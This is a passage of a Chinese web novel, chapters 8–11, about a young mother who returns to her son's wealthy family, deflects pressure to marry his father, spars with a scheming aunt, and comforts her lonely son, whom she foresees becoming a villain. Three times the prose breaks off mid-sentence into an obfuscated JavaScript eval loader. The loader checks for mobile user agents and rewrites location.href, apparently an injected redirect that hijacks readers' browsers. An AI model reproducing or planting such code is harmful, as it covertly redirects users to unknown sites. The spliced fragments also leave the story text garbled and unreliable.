年轻的时候肖老大想借人脉给他随便谋个职位,肖瑜嫌不够自由,非得要自己去开游戏厅做生意,没到一年赔本垮了,老太太便让他回家里酱油坊工作,去了几天嫌辛苦不去了,现在又开了几家台球厅,赚没赚钱不知道,几家台球厅好歹还活着。 肖秉文和肖瑜是两个极端,虽然两人性格里也有着不服管束的个性,但肖秉文做什么都能成,他也是肖家长辈眼里的骄傲,反观肖瑜干啥啥不行,一家子提起他都头疼。不过肖瑜和肖秉文这两堂兄弟关系却一直都不错。 肖秉文跟各位长辈打过招呼,张婉如在这里住过,对这里的人也都熟悉,也打了招呼。老太太笑着冲肖楚戎招了招手,小孩乖乖走过去,老太太拉着他稀罕着,笑道:“好久没见你,又长高了。” “怎么都不知道叫人?”肖秉文沉声说了一句。 肖楚戎便小声叫道:“曾祖祖,曾祖母。” 二老听得欢喜,老太太瞪了肖秉文一眼说道:“小孩子慢慢学,你着急什么,动不动就冲孩子发火。” 肖秉文也习惯了二老对孩子的溺爱,冲张婉如示意了一下,带着她在旁边空位上坐下。 二老逗了一会儿小戎,又让人给他拿了糖果来吃,肖老太太这才看向张婉如,问道:“你什么时候回来的?” 张婉如道:“昨天回来的。” “这次回来又打算什么时候走?” 老太太问话时面色有些严肃,目光也没看向她这边,想来对于她当年突然离去也是有些怨念的。张婉如已经做好了心理准备,肖老太太的态度也在她的意料之中,她回答得也还算自然。 “我这次回来会一直陪在小戎身边。” 肖老太太的目光这才落在她身上,盯着她看了一会儿问道:“你现在是和秉文父子住一起吗?” “嗯,是住一起。” “这么说来,你和秉文是打算和好了,那就抽个时间你们把婚事办了吧。” “……” 8. 第 8 章 关于她和肖秉文的感情问题张婉如想过或许这次来肖家会被问到,毕竟当年那场意外,为了保护她的声誉和隐私,她和肖秉文商议决定不打算对外说,只说他们在暗中交往不小心怀上孩子的。所以肖家人看来,她和肖秉文是正经谈过恋爱在一起过的,这次回来她又和父子两住在一起,他们会这么想也不奇怪。 本来她和肖秉文就没有感情,在发生意外之前跟陌生人差不多,而且因为肖秉文和她继母这层关系,她对他也有几分讨厌,跟她继母有关的人她都不太喜欢。发生了那场意外两人才有了交集,实际上因为这场意外她人生发生了巨变,她也曾憎恨这场意外里的所有人,虽然严格来说肖秉文也是受害者。 不过两人本来也不是那层关系,和好就更无从谈起,只不过因为孩子现在才聚拢到一起。她想弥补小戎,想阻止梦中的悲剧,将小戎带走肖秉文肯定不同意,目前也只能跟他们住在一起,或者等小戎大一点了,人格完整了,到时候再将真实情况跟他说了,小戎大概也能理解了。 张婉如道:“我回来只是想承担起作为母亲的责任,我打算和肖秉文共同抚养小戎,只不过目前住在那边方便一点我就住在那边。” 张婉如语气冷清,而且叫肖秉文也是直接连名带姓,带着公事公办的疏离感。肖老太太也听出了她的意思,她面色沉了沉,旁边肖老爷子也是沉了脸问道:“这么说,你们是没有和好的打算了?”老爷子目光沉沉看向肖秉文,“秉文,你是怎么打算的?” 肖秉文下意识看了张婉如一眼,张婉如这些话其实也在他意料之中,这丫头本来就不喜欢他,甚至还算得上憎恨,如今能对他客客气气的已经不错了。 他道:“我和张丫头在她离开时就已经和平分手,又隔了这么多年,各自都有了各自的生活。小戎还小确实也需要母亲的陪伴,张丫头想回来照顾他陪伴他成长我自然没有立场阻止,我觉得现在这样就挺好。” 也就是肖秉文也赞成以这种方式和张婉如共同抚养小戎。 这话听得二老有些失望,肖秉文父母不在,他是二老看着长大的,对他自然也比对其他孙子上心。这两年也一直想给他安排相亲,希望他的亲事能定下来。老人家嘛,总觉得成了家人生才是完整的,只不过撮合了几次也不成功,这会儿听说小戎妈妈回来了,二老合计也不错,好歹是小戎的亲妈,又是肖秉文正经交过的女朋友,没人比她更适合留在肖秉文身边了。谁能想到这两人都没有和好的打算,二老本还以为家里快有喜事了,现在才发现白高兴一场。 “小辈们有小辈们自己的处事方式,您二老这么大年纪了就负责颐养天年含饴弄孙,其他的事情就甭操心了。”肖家老大也在一旁劝解,肖二姑也道:“您二老年轻时吃了那么多苦,如今儿孙们都大了,你们也别管那么多,该吃吃该喝喝,年轻人的事情就让他们自个儿操心去吧。” 肖老太太哼了一声道:“一个个不省心,不操心怎么成啊?” 肖秉文笑道:“我都这么大了您要是还操心我那我就是罪过了,往后啊我怕是饭也不敢大口吃,水也不敢大口喝了。” 老太太被他这话给逗笑了,嗔了他一眼道:“就你浑!” 氛围好歹是好起来了,正说笑间门口有道清脆的声音传来,“我烫头回来听说秉文回来了,赶紧过来打声招呼。” 来的是个中年女人,最近港剧席卷内陆,港风潮流也在内陆火起来。女人烫着时下流行的港式卷发,涂着大红唇,穿一件无袖连衣裙。脸上保养得宜又抹着化妆品,已经四十多岁的人了,看着还和三十多岁差不多。 她是肖家老大现在的妻子,也是张婉如继母梁文秀的姑姑梁建英。 肖家老爷子年轻的时候参过军,是真扛过枪上过战场的,和梁家老爷子是战友关系。抗战结束之后肖家老爷子回了柳城家中,肖家祖上懂酿造酱油的手艺,肖老爷子便扛起了家里的酱油铺子,后来生意越做越大,如今也成了柳城响当当的人物。 而梁家老爷子则回到了乡下老家,生下一儿一女,儿女都还年幼便相继去世,无依无靠的梁家两兄妹便带着父亲的信找到了柳城投靠了肖老爷子。肖老爷子和梁老爷子在战场上可是有过命的交情,便认了这对兄妹为干儿女让他们在肖家长大,且将肖家老宅旁边的一处偏院给了兄妹中的哥哥娶妻生子。 兄妹中的哥哥叫梁建康,梁建康托了肖家的关系,目前在某机关单位做司机,老婆就在肖家老宅中帮些小忙赚些零用。夫妻两人生了三个孩子,大女儿梁文秀,也就是张婉如的继母,嫁给了张婉如的爸爸张国栋。二女儿梁文凤是几个孩子中最争气的,考上了正经的大学学的会计,大学毕业之后分配到柳城一家银行上班。三儿子梁文平是家中唯一的儿子,排行最小也最受宠爱,却不太争气,考了几年大学也考不上,不过这会儿有个高中文凭也不错了,家里让他考个文职,偏生也是几次都考不上,如今也没个工作,天天抱着书在家里啃,梦想着哪天能考上个公务员一飞冲天。 而兄妹中的妹妹叫梁建英,她嫁给了肖家老大,也就是肖秉文的大伯母。 梁建英身边还跟着个十五岁左右的少年,是她跟肖老大所生的儿子,模样生得很清秀。这个年纪的孩子就喜欢装大人,这少年也穿着一件衬衣短袖配一条西裤,虽然个子挺高这西裤和衬衣也能撑起来,不过脸上稚气未脱,依旧有一种小孩偷穿大人衣服的违和感。 梁建英进来之后看了一眼肖秉文笑道:“还真是秉文回来了?” 肖秉文也招呼了一句:“大伯母今天没去打牌?” “本来是要去的,这不听到你回来了,立马就过来招呼一下。” 肖秉文笑容淡了一下,说道:“大伯母这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144651|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么给我面子啊?” “那可不。”梁建英笑道,目光落在张婉如身上,顺势转了话题道:“哟,这位……这是婉如丫头吧?婉如丫头也回来了?这么多年没见了,我都快认不出来了。这些年你去哪儿了?当时一声不吭就走,这么多年连个书信电话都没有,你不知道你父母有多担心你。好歹养了你一场,不说让你时不时回来探望,偶尔报个平安让你父母安心也是好的啊。” 张婉如不太喜欢她的继母,连带着继母身边的人都觉得讨厌,就比如这位。一见面就是一副长辈训人的口吻,当着这么多人的面明里暗里都在指她不懂事。 张婉如神色不变,她说话的语气也是平平静静的。 “当年我怀孕生子,我父亲和继母说我丢人现眼,辱了他们的面子,要跟我断绝关系。我之所以这么多年不联系,就是怕我的一点消息又惹了他们不快。他们年纪也大了,总不能让他们因为看到我的消息就时时生气,我也得为他们考虑。” 张婉如五官玲珑,气质也是平淡温和,整个人看着就给人一种乖巧温顺好拿捏的感觉。然而这丫头身上却长着看不见的刺,这刺收放自如,让人不易察觉,猝不及防间就被她给扎一下,生疼。 就比如现在,一句话就弄得梁建英下不来台,作为父母觉得自己女儿未婚先孕辱没自己的面子旁人听着倒是没什么,可偏偏她未婚先孕的对象是肖秉文,而这话又是当着肖秉文家人的面说出口的。 这话听着就好像她爸妈有点瞧不上肖家,觉得她和肖秉文在一起丢了他们的脸,说她爸就算了,还加了个妈,她的妈现在是谁,当然是梁建英的侄女梁文秀了。 果然肖老爷子肖老太太肖秉文的面色都不太好看了。 梁建英尴尬笑了笑说道:“这不说得都是气话吗?做女儿的怎么还跟父母计较这些?这不你妈妈前两天还念叨你呢,要是知道你回来了,她比谁都高兴。”她尽量把话圆了回来,说罢叹了口气说道:“你一走就这么多年,音讯全文,你妈妈都以为你不会回来了,一想到这个啊她就整夜整夜愁,不过也别怪你妈妈想法这么消极,主要是这么多年你一点音信都没有,甚至连我们都没想过你还会再回来。这不,前两天本来我和老爷老太太还安排着秉文和文秀相亲呢。谁知道才安排上你就回来了,这就巧了吗不是?” 肖秉文和梁文秀相亲?这个张婉如确实不知道。 她下意识向肖秉文看去。 在肖秉文看来相亲只是家里人的安排,他跟梁文秀八字都还没一撇,不过对上张婉如的眼神,他面色不禁凝重了几分。 虽然他跟张婉如发生的一切只是意外,可她毕竟是孩子妈妈,离开这么多年一回来就听说他在跟别人相亲,她会怎么想?会不会一转头又跑了? 一股火气涌上心头,肖秉文看向梁建英的眼神便不自觉带着几分冷。 9. 第 9 章 梁建英作为肖家老大的媳妇,在肖家也有一定的话语权,所以在侄女梁文凤到了适婚年龄之后就想把她介绍给肖秉文。 肖秉文最受肖老爷子和肖老太太喜欢,也是肖家那一辈中最出色的一个,人长得有样有貌,个人能力也不错,当然唯一缺点就是有个孩子。 不过以肖秉文的能力和肖家在柳城的地位,即便有孩子配梁文秀也是绰绰有余。梁文秀又是上过大学的,肖家二老对她也满意。 可谁知道肖家和梁家正要撮合肖秉文和梁文凤相亲的时候张婉如突然回来了。还记得那一天梁建英得知这个消息之后就急匆匆赶回了哥哥家,将这消息带给众人,梁文凤的姐姐张婉如的后妈梁文秀也来了。 实际上作为供出个正经大学生出来的梁家夫妻目光也变高了,对于梁建英安排的这门亲事颇有微词,梁建英本来就去给人当后妈了,自己大女儿也是去给人当的后妈,自己考上大学的二女儿还去给人当后妈?合着她们梁家一屋子女人都是去给人当后妈的命?所以这夫妻有点看不上肖秉文,觉得他们女儿值得更好的。 可这会儿听说张婉如回来之后夫妻俩也是气得面色都变了。 梁建英问梁文秀,“这丫头怎么就突然回来了?这些年她给你们捎过信没有?” “没有。”梁文秀也挺烦,张婉如不在这几年他们家格外和谐,如今在亲妹妹和肖秉文的相亲关键时刻她又突然回来了。也不知道这次回来又要掀起什么波澜,这丫头别看平日里文文静静的,刺起人来的时候也生疼。她成为她继母这些年里,这丫头可没少给她找不痛快。没想到这扫把星又扫到她妹妹这里来了。 梁建英又道:“听老太太的意思,她这次回来是要长住了。” “她现在住哪儿?”这话是梁文凤问的。 梁文凤是梁文秀的亲妹妹,虽说她父母嫌弃肖秉文有孩子不想她给人当后妈,不过只有梁文凤最清楚,肖秉文即便有了孩子,也不一定就看得上她。她是从小就认识肖秉文的,肖秉文因为家境原因,虽然表面上没表现得太明显,不过给人的感觉总是目中无人,挺骄傲的。他们上学那会儿离开放也没几年,大家都还挺保守,不过在学校中却有不少女生明着暗着喜欢他。 可他一个都瞧不上,后来他进了军队,有一次探亲回来时一身军装往肖家院子里一站,一头寸发,皮肤也晒成小麦色,可莫名就有一股摄人心魄的味儿。那时候她就在想究竟什么样的女孩能入得了肖秉文的眼。 只是她没想到那个人会是张婉如,这是个怎么都不可能的人,他们对外说他们偷偷交往,但她一点都不信,张婉如就不像是会拿得下肖秉文的女生。 她猜测多半是张婉如利用什么手段上了肖秉文的床怀了孕让生米煮成熟饭,毕竟在她姐姐的口中,这个继女也不是省油的灯。可后来发生的事情又推翻了她的猜测,张婉如生完孩子之后就跑了,跑得无影无踪。 要是她使了手段扒上肖秉文,她跑个什么,甚至她不能理解,都扒上肖秉文还有了孩子的,竟然不知道珍惜,竟然跑了? 这会儿她好歹也是正经大学毕业的,还有了不错的工作,这年代大学生还是稀有的,姑姑要将她介绍给肖秉文,肖老爷子和肖老太太也挺满意。她今年26,比肖秉文小了三岁,不过这年纪还没结婚已经算是大姑娘了,蹉跎了这么多年确实也没寻到心满意足的。大概也是因为她的年纪,父母虽然对当别人后妈颇有微词但还是同意了。 有肖家的撮合,梁文凤觉得她和肖秉文在一起也有一定的胜算,可没想到这么多年过去了,肖秉文这人还是不拿正眼看人,她主动去找他,他直接让她坐冷板凳。梁文凤有些气,更多的是不甘心,不过肖家那边说了,要让肖秉文给她赔罪,大概率还是想再撮合他们。 梁文凤倒也心怀期待,还去百货商店买了身好看的衣服,甚至挑了几样进口的化妆品。就在她期盼着盛装赴宴接受肖秉文道歉的时候,肖家那边却传来消息,小戎那个妈,张婉如那丫头突然回来了。 这丫头这么多年没出现过,他们都快忘了这个人了,甚至都怀疑她是不是死在了外面,没想到突然就回来了。 “还能住哪儿?”梁建英冷哼一声,“直接找上了秉文父子了。” 梁文凤蹙眉,“她和秉文他们住一起了?” “那不然呢?”梁建英哼了一声,“早不回来晚不回来偏偏这个时候回来。” “真不要脸!”骂这句话的人是梁文平,他是梁文秀和梁文凤最小的弟弟,“一回来就只知道爬男人被窝,这不知廉耻的德行还真是一样,除了对男人卖勾子她还会什么?” 梁文凤面带不快看了弟弟一眼,虽然她也不太喜欢张婉如,甚至因为姐姐和肖秉文对她有些反感,但梁文平这话也有些难听了。 梁文凤没忍住说道:“你好歹也是读过几年书的,怎么开口就是这些脏话?” 梁文平撇撇嘴没搭腔,其他人倒没当回事。梁文秀叹了口气,说道:“那文凤和秉文这事儿……” 梁建英道:“大概率是黄了呗。” 梁文秀面色有些沉,她到:“老太太和老爷子那边怎么说?” “他们还能怎么说?”梁建英冷哼一声,“他们想给秉文找个伴,能有个人照顾着那父子两,最主要是小戎那么小,没个当妈的在身边也不太好。可那丫头毕竟是小戎的亲妈,谁能比得过亲妈啊?说不定那丫头回来,老爷子老太太觉得皆大欢喜呢!” 一屋子人面色都有些沉,很明显张婉如回来这事儿让这一家子都不太舒服了。 所以这会儿梁建英当着所有人的面提出肖秉文和梁文凤相亲的事情也是故意的,本来就是确有其事,她又没撒谎,老太爷和老太太也不可能把她怎么样。 张婉如听到这话也就诧异了一下,毕竟她和肖秉文又不是真的谈过恋爱,肖秉文和谁相亲或者跟谁结婚这事儿其实跟她关系不大。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144652|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过梁建英不知道真实情况,以为说这话能给她添下堵,顺带再挑拨了一下她和肖老爷子和肖老太太之间的感情——肖老太爷肖老太太给肖秉文安排相亲,也没见得把你张婉如当回事,别以为现在老爷老太太给你好脸你就能拿拿乔。 梁建英大概不知道她这是多此一举了,张婉如压根不在意,而且她这话还容易得罪肖家二老。 果然这话落下氛围就变得古怪尴尬起来,肖老爷子沉声道:“你这一进来就听你叭叭叭说个没完,也是时候歇会儿了。” 这话说得有点不给面子,梁建英笑容僵了一下,忙道:“是我的不是,扰了您二老的清净,这不是看到婉如丫头和秉文一起回来高兴嘛,就多说了两句。” 她说完在肖家大伯旁边坐下,又冲站在一旁的少年说道:“怎么都不知道喊人啊?这么大了一点规矩都没有。” 把自己受的气转移到儿子身上了。 少年被母亲当众训斥并没有不快,他笑容坦然,乖巧礼貌向在做众人打了声招呼,从肖家二老开始,到肖家二姑到自己亲爸,再到肖瑜和肖秉文。 “大哥二哥好。”招呼完,目光落在张婉如身上,从容招呼道:“二嫂嫂好。” 别说这小孩年纪虽小,但挺通人情世故的,张婉如现在和肖秉文并没有在一起,严格按照辈分来讲,张婉如还是他的晚辈。可他一声二嫂嫂是按着肖家这边喊的,把自己的位置摆低了,既给了肖秉文面子,也给了张婉如面子。 肖秉文端过一碗茶,用茶盖撇了撇茶末子,喝了一口说道:“景翰今年初中毕业了吧,听说在考市一中,考上了没有?” 梁建英脸色闪过一丝不虞,当家长的最烦别人提孩子的成绩,尤其是自己孩子成绩偏偏不如人意的时候。 肖秉文明显是哪壶不开提哪壶。 肖景翰倒没觉得尴尬,从容答道:“还差了十几分。” “差十几分啊?那有点遗憾了。”是不是真遗憾不知道,不过肖秉文说完这话微挑眉梢向梁建英看过来,带着几分意味深长,“大伯母为景翰的学习操了不少心吧,每天除了烫头打牌就是监督景翰的学业。听大伯说想让景翰上市一中,这就差了十几分,大伯母怕也是觉得遗憾吧?不过考试这事儿也是讲缘分的,大伯母也别太责怪景翰了。” 好家伙,这话就只差直接说她每天只知道烫头打牌,自己没个正经工作不说还没把孩子教育好,学习差没考上理想的高中了。可偏偏话语间又是安慰,她也不能因此发火,显得她斤斤计较。 梁建英狠狠憋了一口气,勉强笑道:“没怪他,尽力就好了。” 不过梁建英心里门儿清,肖秉文故意哪壶不开提哪壶,就是在挤兑她,至于为什么挤兑她,梁建英向张婉如看了一眼,是因为方才她讽刺了这丫头几句还是她将肖秉文和文秀相亲的事情说出来? 不过不管是因为哪个,肖秉文此举都再明白不过了,他是在护短。 10. 第 10 章 此刻张婉如却并未注意到肖秉文和梁建英的谈话,她的注意力落在梁建英身边那少年身上。 十五岁的少年身上还透着稚气,不过从进门开始他就一直气定神闲,不管是面对来自母亲转移的火气还是自己不尽人意的学习,他全程都从容不迫,小小年纪性格却已透出沉稳。 如果不是梦中的那本小说张婉如怎么都不可能对这个少年有太多的注意,他就是肖秉文的一门亲戚,或者会打照面,但也不会太熟悉。 可是看过梦里那本小说之后,她知道眼前这个少年是那本小说的主角团成员之一,未来掌控整个肖家的人。肖家所有的一切都会落在他手中,包括肖秉文父子一手建立起来的商业帝国。 “子越什么时候回来?”肖老爷子问了一句。 肖二姑说道:“刚刚打电话过来,说是还有几个铺子的租金没收到,恐怕要等一会儿,没事,我们不用等他,先吃饭吧。” 目前肖家的酱油铺子都是肖二姑的儿子陈子越在管理,主要是除了他也没人能管了。肖家大伯从政,不方便参与这些,肖瑜又不争气,沉不下心来,倒是肖秉文能力出众,但他看不上家里那几个酱油铺子,自己出去开了工厂,而肖景翰呢年纪又太小。陈子越虽不姓肖,但母亲是肖老太太的亲女儿,自小也是在肖家长大的,肖家二老也信任他,就把酱油铺子的事情给了他管。 众人便移步去了餐厅,肖家餐厅挺大,一张大圆桌,足以坐下肖家十几口人。饭菜刚上桌陈子越就进来了,一同进来的还有一个女人,女人怀中抱着个两岁大的女孩。这是陈子越的老婆,大家叫她小琴,两人育有一个女儿。 几人进来和众人打过招呼,老太太说道:“还以为你们要晚点过来,这儿人多就没等你们了。” 陈子越道:“不用等不用等,是我手脚慢,我哪里好意思让大家等着我。” 陈子越的气质和肖二姑很像,热情随和,人看着也是温和老实。 老太太道:“回来得刚刚好,快坐吧。” 小琴怀中的小姑娘也甜糯糯和众人打招呼,招呼到张婉如的时候她明显不认识,张婉如离开的时候陈子越刚结婚不久都还没孩子,她自然不认识张婉如。 小琴便冲她说道:“遇到不认识的,年纪又和爸爸妈妈差不多大的要叫什么?” 小女孩便甜糯糯说道:“要叫阿姨,阿姨好。” “你好。”张婉如也应了一句。 目光也在小女孩身上多看了几眼,眼下这个才两岁大的小姑娘就是她梦中那本小说中的女主,整本书也是从她的视角书写肖家和肖家的各种人物。 如今的时间线还未发展到小说开始,三位主角团成员以及全书最大的反派都还年幼,也不知道出现了她这个bug之后小说的故事线还会不会按照原本的剧情发展。 不过……张婉如看着旁边五岁的小男孩,无论如何,她都不会让他再成为未来的反派。 吃完饭之后肖老太太将张婉如叫走了,说是有话要对她说。老太太直接把她带到了自己的房间。肖老太太的房间挺宽敞的,她喜欢养兰花,窗台边养了一株宽叶兰,屋中放了几把椅子,上面铺着软垫,老太太招呼她坐下,张婉如便乖巧坐下,等着老太太开口。 老太太坐在对面的椅子上,直接开门见山冲她道:“你这次回来真的打算一直陪在小戎身边?” 张婉如点点头。老太太放了心,“小戎他还小,这些年你不在身边他是受了些委屈的,往后你能一直陪在他身边也是好事。他要是有什么不懂的,你好好教育,耐心一点。你和秉文还年轻,你们年轻人做事急躁,我最怕你们对孩子没耐心。” 肖老太太说这些话其实也是为了小戎好,张婉如自然明白,她道:“奶奶放心,小戎他是我的孩子,我定会全心全力教育好他。” “好,你这样说我就放心了,你是他亲妈,也没有人比你更适合在他身边。”老太太说完沉默了一会儿,又道:“关于秉文和文凤相亲的事情我想跟你说一声,也算给你一个解释。这些年你一直没回来,我们也不知道你什么时候能回来,回来之后跟秉文又是个什么情况。我和你爷爷年纪也大了,秉文一直单身我们也不放心,就想着他若是能有个贴心人在身边陪着也好。而且小戎还小,我们也希望有个人能以妈妈的身份照顾他。” “嗯,你们这么考虑是对的。” 老太太看了她一眼,见她态度自然,显然是没将这事放心上的。老太太跟她解释一句是怕她多心,可她真不在意她心里反而不得劲,这说明她确实不介意秉文相亲的事情,也证明她和秉文之间是真没戏的。 老宅中大人们凑在一起打牌,小孩子们各自拿了玩具玩。肖楚戎小朋友坐在椅子上,身体趴在桌面,桌上摆着棋盘,棋子做成小马形状,不同的颜色代表不同的阵营,他在棋盘上摆弄,丝毫不在意周围的吵闹声。 一个两岁的小姑娘抱着一个长耳朵兔子的玩偶,踩着软哒哒的还不是太稳的步子走到跟前,弯着头看了一眼趴在桌上的肖楚戎。肖楚戎从臂弯下看到了一张肉嘟嘟的脸,小女孩对上他的视线呵呵笑起来,说道:“戎哥哥,我们一起玩好不好?” 肖楚戎收回目光,继续摆弄棋盘,就像没听到她的话一样,他喜欢沉浸在自己的世界里,不太喜欢被打扰。 小姑娘面对表哥的无视也没生气,抱着她毛茸茸的玩具想爬上肖楚戎旁边的椅子跟他坐在一起。 不过她个子小,爬得有些吃力,手上还抱着个玩偶更不方便,好不容易爬上去一条腿,正要爬另一条腿,不想重心没稳住直接就向椅子旁边栽去。 肖楚戎虽然注意力在棋盘上,不过反应却很快,在女孩栽下去时下意识抓了她一把,不过他毕竟也是个孩子,力气没那么大,小姑娘没抓起来,反而让自己被带着一起摔在地上。 手心被地面擦了一下有些疼,他却顾不上,先爬起来,准备去扶摔在地上哇哇大哭的女孩。 牌局已经开始了,桌子上很热闹,小孩的哭声大人并没有听到,不过小女孩的妈妈却一直注意着这边的动静,见小女孩摔倒哭了,几个大步跑过来将她抱起。 肖楚戎要去扶的手便落了空,小琴抱着女儿给她擦掉眼泪,急忙哄道:“没事没事,摔倒了起来了就行。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144653|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜呜呜呜,兔兔。”小女孩却看了一眼玩偶兔子,见脏了一块,哭得更伤心了,“兔兔脏了。” “没事儿,脏了我们一会儿回去给洗干净好不好?”小琴抱着女儿坐在椅子上,大手给她擦干净眼泪,一边哄着,宝贝肉肉叫着,一边亲亲他的脸蛋。 小戎就在一旁看着,小琴只顾着哄女儿,并没有看到他。 张婉如从肖老太太房间出来时就看到这一幕,小戎呆呆站在一旁看着被妈妈抱在怀中又哄又亲的小姑娘,小小的身影显出几分无措。 小男孩性格内向,不太爱表达自己的情绪,此刻望着这一幕的小男孩眼底却露出几分羡慕。 张婉如突然想到了小说中对于肖楚戎这个反派的描写,说他像一只阴暗的老鼠站在角落里窥探别人的幸福。 曾经因为这段描述她心里被刺了一下,她无法想象究竟那究竟是怎样的场景,而现在看到这一幕,那场景瞬间具象化了。 张婉如心里很不是滋味,他急忙走上前叫了他一声,“小戎。” 小戎回过神来向她看去,张婉如在他跟前蹲下,看到他膝盖上脏了一块,她问道:“小戎摔倒了吗?” 他没说话,也不知道是不是还沉浸在目睹别人的幸福中没回过神来,张婉如帮他将膝盖上的灰尘拍掉,又道:“疼不疼,有没有伤到哪里?” 她说着便又在他身上检查了一下,发现其他地方没脏,又拿起他的小手来看,这才看到他掌心被磨红了。 张婉如有些心疼,动作温柔帮他将掌心的灰尘拍掉,轻轻揉了揉那发红的掌心问他:“疼不疼啊?” 她的手很软,带着让人舒服的温热,是跟爸爸粗糙的手指完全不一样的。肖楚戎对上女人关切的目光,手心上是她温柔的爱抚,他从未体会过这种感觉。 不再是隔着一张照片,他只能看着,只能看着被关在照片里的不真实的她。 被妈妈注视着,担忧着,被妈妈柔软温热的手包裹着,爱-抚着,原来妈妈在身边是这样的感觉,再也不想只隔着冷冰冰的照片看着她了。 张婉如见他不说话,越发担心了,“疼对不对?” “不疼。” 他却突然说了一句,随后他小小的柔软的手指弯了弯握住那轻轻在他掌心揉捏的拇指。 张婉如疑惑向他看去,他目光定定望着她说道:“你不要再离开了好不好?” 听到这话,张婉如只觉得一股酸涩感漫上眼眶,眼中瞬间就泛了红。望着他这模样,她很懊悔当初离开的决定,因为她的离开,他没有妈妈,不会有妈妈将他抱在怀中哄他安慰他,他小小的孤寂的身影眼巴巴看着别人有妈妈疼。 又想到了小说中他那可恶又可悲的人生。 张婉如将他小手包裹在手中,她摸了摸他的脸说道:“我不会再离开了。” 肖秉文回来时就看到这一幕,母子两人手握着手,张婉如一脸慈爱看着孩子,小孩的眼中满是对她的依恋。他甚至在一向内向的小戎身上看出他此刻的开心。 想到她离开时冷漠的态度,他从未想过有一天会看到这样的场景,他的脚步下意识顿住。 11. 第 11 章 吃完饭本来肖秉文打算去跟张婉如解释一下相亲的事情,虽然张婉如不一定在意,但毕竟是莫须有的事情他还是该说清楚。不过张婉如被老太太叫走了,老太太给他打了个眼神,肖秉文了然,由老太太跟她解释也好。 肖瑜找过来,拉着他出去抽烟,正好趁机问问他情况。 “你跟你家婉如丫头真没打算和好?”肖瑜问道。 “人刚不是说得很清楚了吗?” “啧啧。”肖瑜撇撇嘴,“你俩都没和好的意思往后还住一起,不觉得尴尬?” “有什么好尴尬的,都是为了孩子。”肖秉文说完拍了拍他的肩膀,“等你有孩子就懂了。” 肖瑜打了个哆嗦,“可别!我这辈子都不想有孩子,麻烦!” 两人就站在院子里那株海棠树下抽烟,初夏,海棠树枝繁叶茂,在两人脚边覆下一片浓烟似的阴影。 正说着话,就见有个人向两人走过来,来人是梁建英,走到两人跟前冲肖瑜说了一句“你爸找你呢,要问你西门那家台球室的事情。” 肖瑜耸了一下肩,冲肖秉文道:“我先去挨骂了。” 肖瑜离开了,这海棠树下就剩了梁建英和肖秉文两人,肖秉文单手插兜将烟屁股在地下踩灭,笑道:“大伯母找我有事?” 难怪都说肖秉文聪明呢,一眼就看出来她把肖瑜支开是有话跟他说。 梁建英道:“其实也没什么事儿,就是这婉如丫头突然回来,我作为长辈也该关心她一下。你说她这些年究竟去了哪里?做了什么?之前为什么一直无音讯,如今怎么又突然回来?这些你问过她没有?” “没有,她要愿意说她自然会说。” 梁建英深看了他一眼,确定他确实是不知道的,她又道:“想当初婉如那丫头走得那么决绝,给人感觉就是这一走就不回来的。这些年在外面一点消息都没有,我还想着她应该过得不差,如今再看却不像那么回事。她走的时候,那样子就跟所有人都欠了她一样,她要真过得好,她也不会回来了,如今突然回来恐怕也是混不下去了。”梁建英意有所指又加了一句:“也有可能是看你现在发展好了,有钱了,这才想着回来享享福,毕竟年轻小姑娘,谁不喜欢钱,别说年轻小姑娘,是个人都喜欢钱。” 梁建英一直观察着肖秉文的表情,一番话说完他表情也没什么变化,不过梁建英点到即止,再多说就显得她在故意说张婉如的不是,搞不好又引得肖秉文护下短,给她添添堵了。 “你二姑还等着我打牌,我先走了啊。” 梁建英离开之后肖秉文在海棠树下站了一会儿,肖秉文也觉得张婉如突然回来突然转了态度应该是遇到什么事儿了。不过他不好多问。 真是因为在外面混不下去了,看他发展好了钱多了才回来的?肖秉文突然想到那次陪她拿行李,她住的那宾馆又小又破旧,她的经济条件确实没那么好,这些年在外面或许也是吃了些苦头的。 要真是因为缺钱回来的那倒是好办了,钱这块对他来说没什么大问题。 时间差不多了,肖秉文进来找人,找了一圈才看到母子俩。他站在原地,目光就像被黏住般落在母子身上许久未动。 母子两人握着手,氛围是他从未想过的温馨。 她的离开带来了太多影响,就比如小戎从小没有妈妈性格一直内向,比如家庭的缺失导致家庭氛围的冰冷。 他工作太忙,太多时候无能为力,或许处理别的事情游刃有余,可他却无法处理家庭缺失带来的影响。 而现在她回来了,她不再那般冷漠伤人,她愿意回来当一个妈妈。 或许他和小戎以后的生活也会变得不一样了。 张婉如意识到身旁有人,她侧头看去,肖秉文回过神来,冲两人道:“该走了。” 